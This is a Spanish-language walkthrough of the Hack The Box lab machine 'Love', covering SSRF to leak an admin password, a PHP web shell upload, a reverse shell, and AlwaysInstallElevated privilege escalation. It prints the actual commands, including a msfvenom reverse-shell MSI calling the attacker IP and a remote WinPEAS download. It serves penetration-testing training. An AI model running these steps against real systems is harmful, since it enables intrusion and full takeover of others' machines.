🟢Love

Write-up de la máquina Love de HackTheBox #writeup #walkthrough

El CTF "Love" de la plataforma Hack The Box, es una máquina de dificultad fácil que está incluida en la Lista de preparación OSCP de TJnull . Explotar esta máquina requiere conocimientos sobre enumeración web, vulnerabilidades SSRF, identificación de exploits, el registro de Windows y la política AlwaysInstallElevated. A pesar de que se considera fácil, esta máquina requiere varios pasos de explotación antes de que se pueda lograr la ejecución remota del código, lo cual es algo inusual para las máquinas fáciles.

Reconocimiento

NMAP

Comenzamos realizando un escaneo rápido de los servicios que tiene la máquina abiertos.

nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.10.239

Una vez realizado un escaneo rápido de los servicios abiertos, volvemos a hacer otro escaneo más profundo de los servicios abiertos.

nmap -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -sV -vv 10.10.10.239

Ya tenemos versiones de los servicios abiertos y el nombre de un dominio. Vamos a registrarlo en el archivo /etc/hosts.

echo "10.10.10.239 www.love.htb" >> /etc/hosts

RECONOCIMIENTO WEB

Tenemos servicios web disponibles en los puertos 80,443 y 5000 que están ejecutando un servidor web Apache, así que vamos a verificar su contenido.

PUERTO 80

Tenemos lo que parece un sistema de votación. El título de la página es “Sistema de votación usando PHP”.

Algunas pruebas básicas de contraseñas no nos aportó ningún resultado. No importa lo que ingresé, devuelve:

PUERTO 443 - 5000

No podemos acceder a estos puertos.

Vamos a consultar el certificado para la URL https://www.love.htb, a ver si contiene información de interés.

Tenemos dos subdominios y una dirección de correo electrónico. Añadimos los dos subdominios al archivo /etc/hosts.

echo "10.10.10.239 love.htb staging.love.htb" >> /etc/hosts

A continuación, podemos intentar navegar hacia love.htby staging.love.htb en los puertos 80, 443 y 5000 para ver si esto da como resultado respuestas diferentes a las que vimos anteriormente. Al hacer esto, descubrimos un servicio de escaneo de archivos en http://staging.love.htb.

Este servicio parece estar en construcción y ofrece un formulario para recibir actualizaciones por correo electrónico sobre el progreso del desarrollo. Además, esta página incluye dos botones en la esquina superior izquierda.

El botón Home lleva a la página actual mientras que el botón Demo lleva a la página de abajo. Esta página se puede usar para escanear archivos en Internet al hacer referencia a ellos con una URL.

Accedo al recurso y veo que puedo indicar una ruta para escanear un archivo. Intente ejecutar diferentes técnicas de explotación como LFI, RFI, etc. Pero ninguna funcionó. Hasta que probe a hacer un SSRF y obtenemos resultados:

Podríamos intentar usar la vulnerabilidad SSRF para acceder a la aplicación web que se ejecuta en el puerto 5000 que nos dio un error 403 Forbiddenanteriormente. No se podía acceder a esta aplicación web desde otro host, pero podría ser accesible para solicitudes que se originaran en el propio host de destino. Podemos probar esto enviando la URL http://localhost:5000. Al hacer esto, descubrimos que la aplicación web no nos impide el acceso.. En cambio, nos proporciona la cadena @LoveIsInTheAir!!!!que es la contraseña de la cuenta de administrador.

Al iniciar sesión en el formulario con las credenciales obtenidas, nos devuelve un error como el indicado anteriormente. O las credenciales no son correctas, o existe otro formulario de inicio de sesión. Vamos a realizar una enumeración de directorios para buscarlo.

gobuster dir -u "http://love.htb" -w '/home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt' -t 50 

Tenemos un directorio /admin. Vamos a ver su contenido.

Tenemos otro formulario de inicio de sesión donde si funcionan las credenciales de administrador anteriores.

Tenemos acceso a un panel de control.

Acceso al sistema como Phoebe

Una vez que haya iniciado sesión, no hay mucho que hacer. Inspeccionar las distintas partes no condujo a nada interesante. Sin embargo, al hacer clic en el nombre del usuario registrado, Neovic Devierte, hay una opción para actualizar.

Al hacer clic, aparece un formulario para actualizar el perfil de administrador.

Si cargamos una shell PHP en Photo, el sistema no la rechaza y la foto de usuario desaparece.

Vamos a ver donde se guarda la shell cargada anteriormente.

Visitamos http://love.htb/images/cmd.php?cmd=whoami

Vamos a aprovechar este fallo para cargar una shell para establecer una conexión con la máquina objetivo.

Vamos a utilizar esta shell PHP https://github.com/numaciberseguridad/exploit.php/blob/main/exploit.php. También pondremos un oyente nc en el puerto 4444.

Configuramos la shell con el puerto y la IP de nuestra máquina atacante. Y la cargamos en la víctima.

Y ya tendriamos conexión la máquina víctima.

Buscamos la flag user.txt

Elevación de privilegios

Utilizaremos WinPEAS para realizar una enumeración del sistema. Creamos un servidor HTTP con Python.

python3 -m http.server 80
powershell wget http://10.10.16.11/winPEASx64.exe -outfile winpeas.exe

Y ejecutamos WinPEAS.exe

Tenemos habilitado el AlwaysInstallElevated que hace que cualquier paquete de instalacion que instalemos, se haga como administrador. Podemos crear un paquete de instalación malicioso con msfvenom para ganar acceso como administrador.

Primero creamos el paquete con msfvenom.

msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.11 LPORT=4444 -f msi -o reverse.msi

Subimos el archivo generado a la máquina víctima de la misma manera que subimos WinPEAS anteriormente. Debemos crear un oyente en el puerto 4444 y ejecutamos el archivo malicioso de la siguiente manera:

msiexec /quiet /qn /i reverse.msi  

Y ya tendriamos establecida la shell con privilegios elevados.

Buscamos la flag root y tendriamos acabada la máquina Love.

Video de resolución en Twitch.

Last updated